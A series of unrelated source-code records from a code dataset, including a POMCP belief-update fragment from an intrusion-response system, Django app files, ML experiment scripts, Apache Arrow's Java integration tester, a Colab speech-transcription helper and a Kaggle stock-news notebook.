num_positive_false_alarms = len([alert for alert in observation if alert not in alerts_in_Zs])\n num_negative_false_alarms = len(self.alert_indices) - len(alerts_in_Zs) - num_positive_false_alarms\n\n pfalse = self.generator.get_p_false_alarm(list(self.alert_indices)[0], sampled_attacker_type_from_prior)\n logging.debug(\"[DEBUG] pfalse = {0}\".format(pfalse))\n pfalsemax = None\n for i in self.types:\n p_f_alarm = self.generator.get_p_false_alarm(list(self.alert_indices)[0], i)\n logging.debug(\"[DEBUG] p_f_alarm = {0}\".format(p_f_alarm))\n dummy = p_f_alarm**num_positive_false_alarms * (1 - p_f_alarm)**num_negative_false_alarms\n logging.debug(\"[DEBUG] num_positive_false_alarms = {0}\".format(num_positive_false_alarms))\n logging.debug(\"[DEBUG] num_negative_false_alarms = {0}\".format(num_negative_false_alarms))\n logging.debug(\"[DEBUG] dummy = {0}\".format(dummy))\n if pfalsemax is None or pfalsemax < dummy:\n pfalsemax = dummy\n\n if pfalsemax == 0:\n pfalsemax = 0.00001\n\n p_bar = pfalse**num_positive_false_alarms * (1 - pfalse)**num_negative_false_alarms\n logging.debug(\"[DEBUG] p_bar = {0}\".format(p_bar))\n logging.debug(\"[DEBUG] pfalsemax = {0}\".format(pfalsemax))\n p_accept = p_bar / pfalsemax\n\n if binomial(1, p_accept):\n return proposed_posterior_sample_state, proposed_posterior_sample_attacker_type, succesful_attempts\n\n def update_belief_simple(self, action, observation, api_state):\n\n obs = hash(str(observation))\n prior_belief = []\n prior_type_belief = []\n for dic in self.prior:\n action_node = dic[-1][1][action]\n observation_node = dic[action_node][1][obs] if obs in dic[action_node][1].keys() else None\n if observation_node is not None:\n prior_belief += dic[observation_node][4]\n prior_type_belief += dic[observation_node][5] \n self.prior[:] = []\n \n self.tree.nodes[-1][4] = [].copy()\n self.tree.nodes[-1][5] = [].copy()\n for _ in range(self.no_particles):\n proposed_posterior_sample_state, proposed_posterior_sample_attacker_type, succesful_attempts = self.__posterior_sample_simple(prior_belief, prior_type_belief, action, observation, api_state=api_state)\n self.tree.nodes[-1][4].append(proposed_posterior_sample_state)\n self.tree.nodes[-1][5].append(proposed_posterior_sample_attacker_type)\n return succesful_attempts\n\n def update_state_simple(self):\n Bh = self.tree.nodes[-1][4].copy()\n phi = self.tree.nodes[-1][5].copy()\n\n if Bh == []:\n sampled_state = self.init_state\n else:\n sampled_state_index = choice(range(len(Bh)))\n sampled_state = Bh[sampled_state_index]\n if phi == []:\n sampled_attacker_type = random.choice(self.types)\n else:\n sampled_attacker_type = choice(phi)\n self.__Simulate(sampled_state, sampled_attacker_type, -1, 0)\n children = self.tree.nodes[-1][1]\n\n for key, value in children.items():\n self.prior.append(self.tree.nodes)\n if key in self.output.keys():\n self.output[key] += self.tree.nodes[value][3]\n self.output_counts[key] += self.tree.nodes[value][2]\n else:\n self.output[key] = self.tree.nodes[value][3]\n self.output_counts[key] = self.tree.nodes[value][2]\n\n self.state_belief += self.tree.nodes[-1][4]\n self.type_belief += self.tree.nodes[-1][5]\n\n return ","repo_name":"CyberTrustProject/Intelligent-Intrusion-Response-System","sub_path":"decision-making-engine/server/iirs/agents/pomcp_new.py","file_name":"pomcp_new.py","file_ext":"py","file_size_in_byte":16117,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"32858415288","text":"from django.core.exceptions import MiddlewareNotUsed\nfrom judge.models import Profile, Language\nfrom django.contrib.auth.models import User\n\n\nclass InitializationMiddleware(object):\n def __init__(self):\n lang = Language.get_python2()\n for user in User.objects.filter(profile=None):\n # These poor profileless users\n profile = Profile(user=user, language=lang)\n profile.save()\n raise MiddlewareNotUsed\n","repo_name":"dreamcv/dmoj-site","sub_path":"judge/initialize.py","file_name":"initialize.py","file_ext":"py","file_size_in_byte":457,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"32568944219","text":"from django.contrib import admin\r\nfrom django.urls import path\r\nfrom home import views\r\n\r\nurlpatterns = [\r\n path(\"\", views.index, name='home'),\r\n path(\"books\", views.books, name='books'),\r\n path(\"members\", views.members, name='members'),\r\n path(\"transactions\", views.transactions, name='transcations'),\r\n path(\"services\", views.services, name='services'),\r\n path(\"issuebook\", views.issuebook, name='issuebook'),\r\n path(\"issuebookreturn\", views.issuebookreturn, name='issuebookreturn'),\r\n path(\"chargerentbookreturn\", views.chargerentbookreturn, name='chargerentbookreturn'),\r\n path(\"add_member\", views.add_member, name='add_member'),\r\n path(\"delete_member//\", views.delete_member, name='delete_member'),\r\n path(\"add_book\", views.add_book, name='add_book'),\r\n path(\"delete_book//\", views.delete_book, name='delete_book'),\r\n]","repo_name":"ravathujahnavi/library-management-web-application","sub_path":"home/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":879,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"28087285932","text":"# -*- coding: utf-8 -*-\nimport argparse\nimport fileinput\nimport re\n\nSETUP_VERSION = re.compile(r'^(\\s*version\\s*=\\s*\")[^\"]*(\"\\s*,?\\s*)$')\nINIT_VERSION = re.compile(r'^(\\s*__version__\\s*=\\s*\")[^\"]*(\"\\s*)$')\n\n\nFILES = ((\"setup.py\", SETUP_VERSION), (\"xero_python/__init__.py\", INIT_VERSION))\n\n\ndef replace_in_file(path, pattern, replacement):\n with fileinput.input(path, inplace=True) as file:\n for line in file:\n print(re.sub(pattern, replacement, line), end=\"\")\n\n\ndef main(version):\n replacement = r\"\\g<1>\" + version + r\"\\g<2>\"\n for path, pattern in FILES:\n replace_in_file(path, pattern, replacement)\n print(\"Bumped version in {!r} to {}\".format(path, version))\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(prog=\"bumpversion\")\n parser.add_argument(\"version\", type=str, help=\"version string to bump version to\")\n args = parser.parse_args()\n main(version=args.version)\n","repo_name":"XeroAPI/xero-python","sub_path":"bin/bumpversion.py","file_name":"bumpversion.py","file_ext":"py","file_size_in_byte":938,"program_lang":"python","lang":"en","doc_type":"code","stars":105,"dataset":"github-code","pt":"29"} +{"seq_id":"2151944071","text":"import warnings\nimport csv\nimport math\nimport numpy as np\nimport time\n\nfrom helper_functions import folds, output_vector\nfrom sklearn import tree\nfrom sklearn import neighbors\nfrom sklearn import svm\nfrom sklearn import neural_network\n\nclass MyTimer():\n \n def __init__(self):\n self.start = time.time()\n \n def __enter__(self):\n return self\n \n def __exit__(self, exc_type, exc_val, exc_tb):\n end = time.time()\n runtime = end - self.start\n msg = 'The function took {time} seconds to complete'\n print(msg.format(time=runtime))\n\n\ndef warn(*args, **kwargs):\n pass\nwarnings.warn = warn\n\n\n\n\n\"\"\"aardsda01,2004,1,SFN,NL,1,0,11,0,0,0,0,32,20,8,1,10,5,0.417,6.75,0,0,2,0,61,5,8,0,1,1,0\"\"\"\na=[]\nwith open(\"mlb_pitch_cumul_target.csv\",\"r\") as f:\n b = csv.reader(f, delimiter = ',')\n for i in b:\n a.append(i)\nmlb_pitchers = np.asarray(a,dtype=None,order=None)\n\nmlb_pit = (mlb_pitchers, 5, 30, 30)\n\n\n\"\"\"abercda01,1871,1,TRO,NA,1,4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0\"\"\"\na=[]\nwith open(\"mlb_bat_cumul_target.csv\",\"r\") as f:\n b = csv.reader(f, delimiter = ',')\n for i in b:\n a.append(i)\nmlb_batters = np.asarray(a,dtype=None,order=None)\nmlb_bat = (mlb_batters, 5, 22, 22)\n\n\"\"\"abbotky01,1994,1,KIN,AL,0,0,4,4,0,0,0,35,25,10,0,9,8,0,7.71,0,0,0,0,65,0,11,0\"\"\"\na=[]\nwith open(\"npb_pitch_cumul_target.csv\",\"r\") as f:\n b = csv.reader(f, delimiter = ',')\n for i in b:\n a.append(i)\nnpb_pitchers = np.asarray(a,dtype=None,order=None)\nnpb_pit = (npb_pitchers, 5, 27, 27)\n\nnum_folds = 10\n\noutput_vector_collection = []\nfor i in (mlb_pit, mlb_bat, npb_pit):\n if i is mlb_pit:\n name_data = (\"MLB Pitchers dataset:\")\n elif i is mlb_bat:\n name_data = (\"MLB Batters dataset:\")\n else:\n name_data = (\"NPB Pitchers dataset:\")\n print(name_data)\n \n output_vectors = []\n # Decision Tree\n for j in (\"gini\", \"entropy\"):\n with MyTimer():\n confusion = folds(*i, num_folds, tree.DecisionTreeClassifier(criterion = j, random_state=0 ))\n print(confusion)\n ov = output_vector(confusion)\n print(\"The accuracy of Tree classifier with {} criterion is {} \".format(j,ov[4]))\n print(\"The F1-score of Tree classifier with {} criterion is {} \".format(j,ov[7]))\n output_vectors.append(ov)\n \n # K Nearest Neighbours\n for j in (\"uniform\",\"distance\"):\n for k in range(1,16):\n with MyTimer():\n \n confusion = folds(*i, num_folds, neighbors.KNeighborsClassifier(k, weights=j))\n print(confusion)\n ov = output_vector(confusion)\n print(\"The accuracy of K Neighbours classifier with {} weights and k = {} is {} \".format(j,k,ov[4]))\n print(\"The F1-score of K Neighbours classifier with {} weights and k = {} is {} \".format(j,k,ov[7]))\n output_vectors.append(ov)\n\n # Support Vector Machine\n for j in (\"rbf\", \"sigmoid\"):\n with MyTimer():\n\n confusion = folds(*i, num_folds, svm.SVC(kernel = j, gamma = \"scale\"))\n print(confusion)\n ov = output_vector(confusion)\n print(\"The accuracy of SVM classifier with {} kernel is {} \".format(j,ov[4]))\n print(\"The F1-score of SVM classifier with {} kernel is {} \".format(j,ov[7]))\n output_vectors.append(ov)\n \n # ANN\n for j in (\"identity\", \"logistic\", \"relu\"):\n for k in range(10,101,10):\n with MyTimer():\n confusion = folds(*i, num_folds, neural_network.MLPClassifier(hidden_layer_sizes=(k,),activation=j))\n print(confusion)\n ov = output_vector(confusion)\n print(\"The accuracy of Multilayer Preceptron classifier with one hidden layer, {} hidden neurons, and {} activation is {} \".format(k,j,ov[4]))\n print(\"The F1-score of Multilayer Preceptron classifier with one hidden layer, {} hidden neurons, and {} activation is {} \".format(k,j,ov[7]))\n output_vectors.append(ov)\n \n with MyTimer():\n confusion = folds(*i, num_folds, neural_network.MLPClassifier(hidden_layer_sizes=(k,k,),activation=j))\n print(confusion)\n ov = output_vector(confusion)\n print(\"The accuracy of Multilayer Preceptron classifier with two hidden layer, {} hidden neurons each, and {} activation is {} \".format(k,j,ov[4]))\n print(\"The F1-score of Multilayer Preceptron classifier with two hidden layer, {} hidden neurons each, and {} activation is {} \".format(k,j,ov[7]))\n output_vectors.append(ov)\n print(\" \")\n output_vector_collection.append( (name_data, output_vectors) )\n\nfor x in output_vector_collection:\n print(x[0])\n for y in x[1]:\n for z in y[:-1]:\n print(\"{},\".format(z), end = \"\")\n print(x[1][-1])\n print(\"\\n\")\n\n","repo_name":"joshua-nguyen/HallOfFame_MachineLearning","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4951,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"26546039602","text":"\"\"\" Data loading script. \"\"\"\nimport pandas as pd\nfrom sklearn.pipeline import Pipeline\nimport logging\nfrom dotenv import load_dotenv\nimport warnings\nimport configparser\nimport argparse\nfrom src.data_processing import preprocessing as prep\nfrom src.utils import utils\n\n\n# Register API for Financial Modeling Prep (Financial Statements and Company Fundamentals)\n# https://site.financialmodelingprep.com/developer/\n# Register API for Federal Reserve Economic Data (For Macroeconomics Data)\n# https://fred.stlouisfed.org/docs/api/fred/\n\nwarnings.filterwarnings('ignore')\n\nproj_root = utils.get_proj_root()\n\nconfig = configparser.ConfigParser(interpolation=None)\nconfig.read(proj_root.joinpath('config/data_config.ini'))\n\n\n\ndef main(label_col_name:str, categorical_col_names:list, collinear_thresh:float=0.98,\n save:bool=True):\n\n logger = logging.getLogger(__name__)\n logger.info('Preprocessing data...')\n\n raw_data_path = config['data_paths']['raw_data_path']\n raw_data_path = proj_root.joinpath(raw_data_path)\n\n raw_data = pd.read_csv(raw_data_path)\n transform_pipeline = Pipeline([\n ('drop_rows_with_NA_in_label', prep.NARoWRemover(cols_to_check=label_col_name)),\n ('drop_rows_with_NA_in_col', prep.NARoWRemover(cols_to_check=\"dps_growth\")),\n ('drop_collinear_columns', prep.CollinearColsRemover(thresh=collinear_thresh, label_col=label_col_name)),\n ('cat_to_ordinal_cols', prep.ColumnsOrdinalEncoder(col_names=categorical_col_names)),\n ('binarize label column', prep.BinarizeCol(col_name=label_col_name, true_val=1)),\n # ('Balance data', prep.SMOTEBalancer(label_col_name=label_col_name, random_state=None))\n ])\n\n transform_pipeline.fit(raw_data)\n preprocessed_data = transform_pipeline.transform(raw_data)\n logger.info('Preprocessing complete')\n\n if save:\n preprocessed_data_path = proj_root.joinpath(config['data_paths']['preprocessed_data_path'])\n preprocessed_data.to_csv(preprocessed_data_path, index=False)\n logger.info('Preprocessed data saved')\n\n\n return preprocessed_data.head()\n\nif __name__ == '__main__':\n log_fmt = '%(asctime)s - %(name)s - %(levelname)s - %(message)s'\n logging.basicConfig(level=logging.INFO, format=log_fmt)\n\n label_col_name = 'dps_change_next_year'\n collinear_thresh = 0.98\n categorical_col_names = ['industry', 'symbol']\n\n parser = argparse.ArgumentParser(description=\"preprocessing parser\")\n parser.add_argument(\"--label_col_name\", type=str, default='dps_change_next_year',)\n parser.add_argument(\"--collinear_thresh\", type=float, default=0.98,)\n parser.add_argument(\"--categorical_cols\", type=list, default=['industry', 'symbol'])\n args = parser.parse_args()\n\n main(label_col_name=args.label_col_name,\n collinear_thresh=args.collinear_thresh,\n categorical_col_names=args.categorical_cols)\n","repo_name":"akin-aroge/dividend-cut-predictor","sub_path":"src/data_processing/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2883,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"12377406177","text":"import contextlib\nimport functools\nimport os\nimport subprocess\n\nfrom . import cdata\nfrom .tester import Tester, CDataExporter, CDataImporter\nfrom .util import run_cmd, log\nfrom ..utils.source import ARROW_ROOT_DEFAULT\n\n\ndef load_version_from_pom():\n import xml.etree.ElementTree as ET\n tree = ET.parse(os.path.join(ARROW_ROOT_DEFAULT, 'java', 'pom.xml'))\n tag_pattern = '{http://maven.apache.org/POM/4.0.0}version'\n version_tag = list(tree.getroot().findall(tag_pattern))[0]\n return version_tag.text\n\n\n# NOTE: we don't add \"-Darrow.memory.debug.allocator=true\" here as it adds a\n# couple minutes to total CPU usage of the integration test suite\n# (see setup_jpype() below).\n_JAVA_OPTS = [\n \"-Dio.netty.tryReflectionSetAccessible=true\",\n \"-Darrow.struct.conflict.policy=CONFLICT_APPEND\",\n \"--add-opens=java.base/java.nio=ALL-UNNAMED\",\n # GH-39113: avoid failures accessing files in `/tmp/hsperfdata_...`\n \"-XX:-UsePerfData\",\n]\n\n_arrow_version = load_version_from_pom()\n_ARROW_TOOLS_JAR = os.environ.get(\n \"ARROW_JAVA_INTEGRATION_JAR\",\n os.path.join(\n ARROW_ROOT_DEFAULT,\n \"java/tools/target\",\n f\"arrow-tools-{_arrow_version}-jar-with-dependencies.jar\"\n )\n)\n_ARROW_C_DATA_JAR = os.environ.get(\n \"ARROW_C_DATA_JAVA_INTEGRATION_JAR\",\n os.path.join(\n ARROW_ROOT_DEFAULT,\n \"java/c/target\",\n f\"arrow-c-data-{_arrow_version}.jar\"\n )\n)\n_ARROW_FLIGHT_JAR = os.environ.get(\n \"ARROW_FLIGHT_JAVA_INTEGRATION_JAR\",\n os.path.join(\n ARROW_ROOT_DEFAULT,\n \"java/flight/flight-integration-tests/target\",\n f\"flight-integration-tests-{_arrow_version}-jar-with-dependencies.jar\"\n )\n)\n_ARROW_FLIGHT_SERVER = (\n \"org.apache.arrow.flight.integration.tests.IntegrationTestServer\"\n)\n_ARROW_FLIGHT_CLIENT = (\n \"org.apache.arrow.flight.integration.tests.IntegrationTestClient\"\n)\n\n\n@functools.lru_cache\ndef setup_jpype():\n import jpype\n jar_path = f\"{_ARROW_TOOLS_JAR}:{_ARROW_C_DATA_JAR}\"\n # XXX Didn't manage to tone down the logging level here (DEBUG -> INFO)\n jpype.startJVM(jpype.getDefaultJVMPath(),\n \"-Djava.class.path=\" + jar_path,\n # This flag is too heavy for IPC and Flight tests\n \"-Darrow.memory.debug.allocator=true\",\n # Reduce internal use of signals by the JVM\n \"-Xrs\",\n *_JAVA_OPTS)\n\n\nclass _CDataBase:\n\n def __init__(self, debug, args):\n import jpype\n self.debug = debug\n self.args = args\n self.ffi = cdata.ffi()\n setup_jpype()\n # JPype pointers to java.io, org.apache.arrow...\n self.java_io = jpype.JPackage(\"java\").io\n self.java_arrow = jpype.JPackage(\"org\").apache.arrow\n self.java_allocator = self._make_java_allocator()\n\n def _pointer_to_int(self, c_ptr):\n return int(self.ffi.cast('uintptr_t', c_ptr))\n\n def _wrap_c_schema_ptr(self, c_schema_ptr):\n return self.java_arrow.c.ArrowSchema.wrap(\n self._pointer_to_int(c_schema_ptr))\n\n def _wrap_c_array_ptr(self, c_array_ptr):\n return self.java_arrow.c.ArrowArray.wrap(\n self._pointer_to_int(c_array_ptr))\n\n def _make_java_allocator(self):\n # Return a new allocator\n return self.java_arrow.memory.RootAllocator()\n\n def _assert_schemas_equal(self, expected, actual):\n # XXX This is fragile for dictionaries, as Schema.equals compares\n # dictionary ids.\n self.java_arrow.vector.util.Validator.compareSchemas(\n expected, actual)\n\n def _assert_batches_equal(self, expected, actual):\n self.java_arrow.vector.util.Validator.compareVectorSchemaRoot(\n expected, actual)\n\n def _assert_dict_providers_equal(self, expected, actual):\n self.java_arrow.vector.util.Validator.compareDictionaryProviders(\n expected, actual)\n\n # Note: no need to call the Java GC anywhere thanks to AutoCloseable\n\n\nclass JavaCDataExporter(CDataExporter, _CDataBase):\n\n def export_schema_from_json(self, json_path, c_schema_ptr):\n json_file = self.java_io.File(json_path)\n with self.java_arrow.vector.ipc.JsonFileReader(\n json_file, self.java_allocator) as json_reader:\n schema = json_reader.start()\n dict_provider = json_reader\n self.java_arrow.c.Data.exportSchema(\n self.java_allocator, schema, dict_provider,\n self._wrap_c_schema_ptr(c_schema_ptr)\n )\n\n def export_batch_from_json(self, json_path, num_batch, c_array_ptr):\n json_file = self.java_io.File(json_path)\n with self.java_arrow.vector.ipc.JsonFileReader(\n json_file, self.java_allocator) as json_reader:\n json_reader.start()\n if num_batch > 0:\n actually_skipped = json_reader.skip(num_batch)\n assert actually_skipped == num_batch\n with json_reader.read() as batch:\n dict_provider = json_reader\n self.java_arrow.c.Data.exportVectorSchemaRoot(\n self.java_allocator, batch, dict_provider,\n self._wrap_c_array_ptr(c_array_ptr))\n\n @property\n def supports_releasing_memory(self):\n return True\n\n def record_allocation_state(self):\n return self.java_allocator.getAllocatedMemory()\n\n def close(self):\n self.java_allocator.close()\n\n\nclass JavaCDataImporter(CDataImporter, _CDataBase):\n\n def import_schema_and_compare_to_json(self, json_path, c_schema_ptr):\n json_file = self.java_io.File(json_path)\n with self.java_arrow.vector.ipc.JsonFileReader(\n json_file, self.java_allocator) as json_reader:\n json_schema = json_reader.start()\n with self.java_arrow.c.CDataDictionaryProvider() as dict_provider:\n imported_schema = self.java_arrow.c.Data.importSchema(\n self.java_allocator,\n self._wrap_c_schema_ptr(c_schema_ptr),\n dict_provider)\n self._assert_schemas_equal(json_schema, imported_schema)\n\n def import_batch_and_compare_to_json(self, json_path, num_batch,\n c_array_ptr):\n json_file = self.java_io.File(json_path)\n with self.java_arrow.vector.ipc.JsonFileReader(\n json_file, self.java_allocator) as json_reader:\n schema = json_reader.start()\n if num_batch > 0:\n actually_skipped = json_reader.skip(num_batch)\n assert actually_skipped == num_batch\n with json_reader.read() as batch:\n with self.java_arrow.vector.VectorSchemaRoot.create(\n schema, self.java_allocator) as imported_batch:\n # We need to pass a dict provider primed with dictionary ids\n # matching those in the schema, hence an empty\n # CDataDictionaryProvider would not work here.\n dict_provider = (self.java_arrow.vector.dictionary\n .DictionaryProvider.MapDictionaryProvider())\n dict_provider.copyStructureFrom(json_reader, self.java_allocator)\n with dict_provider:\n self.java_arrow.c.Data.importIntoVectorSchemaRoot(\n self.java_allocator,\n self._wrap_c_array_ptr(c_array_ptr),\n imported_batch, dict_provider)\n self._assert_batches_equal(batch, imported_batch)\n self._assert_dict_providers_equal(json_reader, dict_provider)\n\n @property\n def supports_releasing_memory(self):\n return True\n\n def close(self):\n self.java_allocator.close()\n\n\nclass JavaTester(Tester):\n PRODUCER = True\n CONSUMER = True\n FLIGHT_SERVER = True\n FLIGHT_CLIENT = True\n C_DATA_SCHEMA_EXPORTER = True\n C_DATA_SCHEMA_IMPORTER = True\n C_DATA_ARRAY_EXPORTER = True\n C_DATA_ARRAY_IMPORTER = True\n\n name = 'Java'\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n # Detect whether we're on Java 8 or Java 9+\n self._java_opts = _JAVA_OPTS[:]\n proc = subprocess.run(\n ['java', '--add-opens'],\n stderr=subprocess.PIPE,\n stdout=subprocess.PIPE,\n text=True)\n if 'Unrecognized option: --add-opens' not in proc.stderr:\n # Java 9+\n self._java_opts.append(\n '--add-opens=java.base/java.nio=ALL-UNNAMED')\n\n def _run(self, arrow_path=None, json_path=None, command='VALIDATE'):\n cmd = (\n ['java'] +\n self._java_opts +\n ['-cp', _ARROW_TOOLS_JAR, 'org.apache.arrow.tools.Integration']\n )\n\n if arrow_path is not None:\n cmd.extend(['-a', arrow_path])\n\n if json_path is not None:\n cmd.extend(['-j', json_path])\n\n cmd.extend(['-c', command])\n\n if self.debug:\n log(' '.join(cmd))\n\n run_cmd(cmd)\n\n def validate(self, json_path, arrow_path, quirks=None):\n return self._run(arrow_path, json_path, 'VALIDATE')\n\n def json_to_file(self, json_path, arrow_path):\n return self._run(arrow_path, json_path, 'JSON_TO_ARROW')\n\n def stream_to_file(self, stream_path, file_path):\n cmd = (\n ['java'] + self._java_opts + [\n '-cp',\n _ARROW_TOOLS_JAR,\n 'org.apache.arrow.tools.StreamToFile',\n stream_path,\n file_path,\n ]\n )\n if self.debug:\n log(' '.join(cmd))\n run_cmd(cmd)\n\n def file_to_stream(self, file_path, stream_path):\n cmd = (\n ['java'] + self._java_opts + [\n '-cp',\n _ARROW_TOOLS_JAR,\n 'org.apache.arrow.tools.FileToStream',\n file_path,\n stream_path,\n ]\n )\n if self.debug:\n log(' '.join(cmd))\n run_cmd(cmd)\n\n def flight_request(self, port, json_path=None, scenario_name=None):\n cmd = (\n ['java'] + self._java_opts + [\n '-cp', _ARROW_FLIGHT_JAR, _ARROW_FLIGHT_CLIENT, '-port', str(\n port)\n ])\n\n if json_path:\n cmd.extend(('-j', json_path))\n elif scenario_name:\n cmd.extend(('-scenario', scenario_name))\n else:\n raise TypeError('Must provide one of json_path or scenario_name')\n\n if self.debug:\n log(' '.join(cmd))\n run_cmd(cmd)\n\n @contextlib.contextmanager\n def flight_server(self, scenario_name=None):\n cmd = (\n ['java'] +\n self._java_opts +\n ['-cp', _ARROW_FLIGHT_JAR, _ARROW_FLIGHT_SERVER, '-port', '0']\n )\n if scenario_name:\n cmd.extend(('-scenario', scenario_name))\n if self.debug:\n log(' '.join(cmd))\n server = subprocess.Popen(\n cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n try:\n output = server.stdout.readline().decode()\n if not output.startswith('Server listening on localhost:'):\n server.kill()\n out, err = server.communicate()\n raise RuntimeError(\n 'Flight-Java server did not start properly, '\n 'stdout:\\n{}\\n\\nstderr:\\n{}\\n'.format(\n output + out.decode(), err.decode()\n )\n )\n port = int(output.split(':')[1])\n yield port\n finally:\n server.kill()\n server.wait(5)\n\n def make_c_data_exporter(self):\n return JavaCDataExporter(self.debug, self.args)\n\n def make_c_data_importer(self):\n return JavaCDataImporter(self.debug, self.args)\n","repo_name":"apache/arrow","sub_path":"dev/archery/archery/integration/tester_java.py","file_name":"tester_java.py","file_ext":"py","file_size_in_byte":11986,"program_lang":"python","lang":"en","doc_type":"code","stars":12777,"dataset":"github-code","pt":"29"} +{"seq_id":"14052735573","text":"import scipy\nimport os\nfrom IPython.display import HTML, Audio\nfrom google.colab.output import eval_js\nfrom base64 import b64decode\nimport numpy as np\nfrom scipy.io.wavfile import read as wav_read\nimport io\nimport ffmpeg\nfrom google.colab import files\nfrom typing import Tuple\nimport wave\nfrom google.cloud import speech as speech\nfrom google.cloud import translate as gtranslate\n\nAUDIO_HTML = \"\"\"\n\n\"\"\"\n\ndef set_key():\n key_fn = 'NLP1-290e070a9ba9.json'\n os.environ['GOOGLE_APPLICATION_CREDENTIALS'] = key_fn\n\ndef read_wav_file(filename) -> Tuple[bytes, int]:\n with wave.open(filename, 'rb') as w:\n rate = w.getframerate()\n frames = w.getnframes()\n buffer = w.readframes(frames)\n\n return buffer, rate\n\ndef simulate_stream(buffer: bytes, batch_size: int = 4096):\n buffer_len = len(buffer)\n offset = 0\n while offset < buffer_len:\n end_offset = offset + batch_size\n buf = buffer[offset:end_offset]\n yield buf\n offset = end_offset\n\n\ndef google_batch_stt(riff: bytes, lang: str, encoding: str) -> str:\n client = speech.SpeechClient()\n i = {\n 'config' : {\n 'language_code': 'en-US',\n 'sample_rate_hertz': 48000,\n 'encoding': speech.RecognitionConfig.AudioEncoding['LINEAR16']\n },\n\n 'audio' : {\n 'content': riff\n }\n }\n response = client.recognize(i)\n for r in response.results:\n a = r.alternatives[0].transcript\n return a\n\ndef r_and_t():\n audio, sr, riff = get_audio()\n ans = google_batch_stt(riff,'en-US','LINEAR16')\n return ans\n\ndef get_audio():\n display(HTML(AUDIO_HTML))\n data = eval_js(\"data\")\n binary = b64decode(data.split(',')[1])\n \n process = (ffmpeg\n .input('pipe:0')\n .output('pipe:1', format='wav')\n .run_async(pipe_stdin=True, pipe_stdout=True, pipe_stderr=True, quiet=True, overwrite_output=True)\n )\n output, err = process.communicate(input=binary)\n \n riff_chunk_size = len(output) - 8\n # Break up the chunk size into four bytes, held in b.\n q = riff_chunk_size\n b = []\n for i in range(4):\n q, r = divmod(q, 256)\n b.append(r)\n\n # Replace bytes 4:8 in proc.stdout with the actual size of the RIFF chunk.\n riff = output[:4] + bytes(b) + output[8:]\n\n sr, audio = wav_read(io.BytesIO(riff))\n\n return audio, sr, riff\n\nfrom google.cloud import translate_v2 as gtranslate\ndef google_trans(text):\n client = gtranslate.Client()\n r = client.translate(text, target_language='vi')\n return r\n","repo_name":"vuongdanghuy/nmt_transformer","sub_path":"src/s2t.py","file_name":"s2t.py","file_ext":"py","file_size_in_byte":4533,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"29"} +{"seq_id":"71868776397","text":"\n# coding: utf-8\n\n# # Market Data Only Baseline\n# \n# Using a lot of ideas from NN Baseline Kernel.\n# see. https://www.kaggle.com/christofhenkel/market-data-nn-baseline\n\n# In[ ]:\n\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport time\nimport datetime\nfrom sklearn.metrics import accuracy_score\nfrom kaggle.competitions import twosigmanews\nimport gc\n\n\n# In[ ]:\n\nenv = twosigmanews.make_env()\n(market_train, news_train) = env.get_training_data()\ngc.enable()\n\n\n# In[ ]:\n\n#10:00之后的算成下一天,似乎有不好的影响\n# index = news_train['time'][news_train['time'].dt.hour > 22].index\n# news_train.loc[index,'time'] = news_train.loc[index,'time'].dt.ceil('d')\nnews_train['time'] = news_train['time'].dt.floor('d')\ncols = ['sentimentNegative','sentimentNeutral','sentimentPositive','relevance','companyCount','bodySize','sentenceCount','wordCount','firstMentionSentence',\n 'sentimentWordCount','takeSequence','sentimentClass','noveltyCount12H', 'noveltyCount24H','noveltyCount3D', 'noveltyCount5D', 'noveltyCount7D', \n 'volumeCounts12H','volumeCounts24H', 'volumeCounts3D', 'volumeCounts5D','volumeCounts7D']\n\nnews_total = news_train[['time','assetName'] + cols].copy()\ndel news_train\ngc.collect()\nnews_train = news_total\nprint(news_train.columns)\n\n\n# In[ ]:\n\nimport warnings\nwarnings.filterwarnings(action ='ignore',category = DeprecationWarning)\n\n#直接相乘内存会爆掉,成之后,变成了0.66912,比最好0.66972差了一点,暂时不成\n# for col in cols:\n# if col != 'relevance':\n# print(col)\n# news_train[col] = news_train[col] * news_train['relevance']\n#聚合每一个日期前三天内的新闻数据,影响股价走势\n#之前的版本,直接复制几份,然后和market_train进行join,代价较大\n#直接进行news data的join\ndef get_news_train(raw_data,days = 6):\n news_last = pd.DataFrame()\n #衰减系数\n rate = 1.0\n for i in range(days):\n cur_train = raw_data[cols] * rate \n rate *= 0.9\n cur_train['time'] = raw_data['time'] + datetime.timedelta(days = i,hours=22)\n cur_train['key'] = cur_train['time'].astype(str)+ raw_data['assetName'].astype(str)\n cur_train = cur_train[['key'] + cols].groupby('key').sum()\n cur_train['key'] = cur_train.index.values\n news_last = pd.concat([news_last, cur_train[['key'] + cols]])\n del cur_train\n gc.collect()\n print(\"after concat the shape is:\",news_last.shape)\n news_last = news_last.groupby('key').sum()\n news_last['key'] = news_last.index.values\n print(\"the result shape is:\",news_last.shape)\n \n del news_last['key']\n return news_last\n\nnews_last = get_news_train(news_train)\nprint(news_last.shape)\nprint(news_last.head())\nprint(news_last.dtypes)\n\n\n# In[ ]:\n\nmarket_train['key'] = market_train['time'].astype(str) + market_train['assetName'].astype(str)\nmarket_train = market_train.join(news_last,on = 'key',how='left')\nprint(market_train['sentimentNeutral'].isnull().value_counts())\nmarket_train.head()\n\n\n# In[ ]:\n\n# print(market_train['assetName'].nunique())\n# print(news_train['assetName'].nunique())\n# 通过assetName 判断有market 中有12万个example没在 news中出现,通过时间进行join,交集太少,目前感觉使用\n# assetName比较合适\n# 